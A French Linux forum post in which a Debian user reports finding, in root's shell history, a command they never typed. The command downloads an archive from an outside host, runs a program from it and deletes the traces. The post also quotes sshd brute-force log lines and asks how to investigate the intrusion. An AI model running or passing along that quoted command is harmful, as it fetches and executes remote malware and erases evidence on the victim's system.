URL: https://linuxfr.org/forums/linux-debian-ubuntu/posts/%C3%A9trange-historique-root Title: étrange historique root Authors: chmanu Date: 2011年01月17日T20:04:25+01:00 Tags: Score: 4 Bonjour, J'aimerais vous soumettre un petit problème : en recherchant dans mon historique (root sous debian), je suis tombé sur ça : wget rocsana4u.webs.com/joke/emech.tgz;tar xvf emech.tgz;rm -rf emech.tgz;cd .joke;./start rdsnet;cd ..;rm -rf .joke Chose dont je suis sûr n'avoir jamais tappée !! Un petit google ne m'en apprend pas beaucoup, je suis donc persuadé d'avoir été victime d'intrusion. J'ai donc imméditement changer mes mots de passe root et utilisateurs. Cependant, en fouinant un peu, je suis tombé sur ça : [http://www.tux-planet.fr/local-root-exploit-linux-rds-protoc(...)](http://www.tux-planet.fr/local-root-exploit-linux-rds-protocol-privilege-escalation/) Est ce en lien ? Sinon, comment savoir ce qu'a pu faire cette attaque (rien vu dans syslog , auth.log, ???) Voici ce que j'ai trouvé : Jan 16 04:32:23 monordi sshd[20758]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=francis.weppc.net user=root Jan 16 04:32:23 monordi sshd[20758]: pam_winbind(sshd:auth): getting password (0x00000388) Jan 16 04:32:23 monordi sshd[20758]: pam_winbind(sshd:auth): pam_get_item returned a password Jan 16 04:32:23 monordi sshd[20758]: pam_winbind(sshd:auth): request wbcLogonUser failed: WBC_ERR_AUTH_ERROR, PAM error: PAM_USER_UNKNOWN (10), NTSTATUS: NT_STATUS_NO_SUCH_USER, Error message was: No such user Jan 16 04:32:25 monordi sshd[20758]: Failed password for root from 72.34.247.90 port 36132 ssh2 Jan 16 04:32:26 monordi sshd[20761]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=francis.weppc.net user=root Jan 16 04:32:26 monordi sshd[20761]: pam_winbind(sshd:auth): getting password (0x00000388) Jan 16 04:32:26 monordi sshd[20761]: pam_winbind(sshd:auth): pam_get_item returned a password Jan 16 04:32:26 monordi sshd[20761]: pam_winbind(sshd:auth): request wbcLogonUser failed: WBC_ERR_AUTH_ERROR, PAM error: PAM_USER_UNKNOWN (10), NTSTATUS: NT_STATUS_NO_SUCH_USER, Error message was: No such user Avec un scan sur un grand nombre de ports En sachant que d'après cet historique celà date de ce week end. Sinon, tout de suite, je vais régler mon iptables. Merci à ceux qui auront l'amabilité de m'éclairer. Chmanu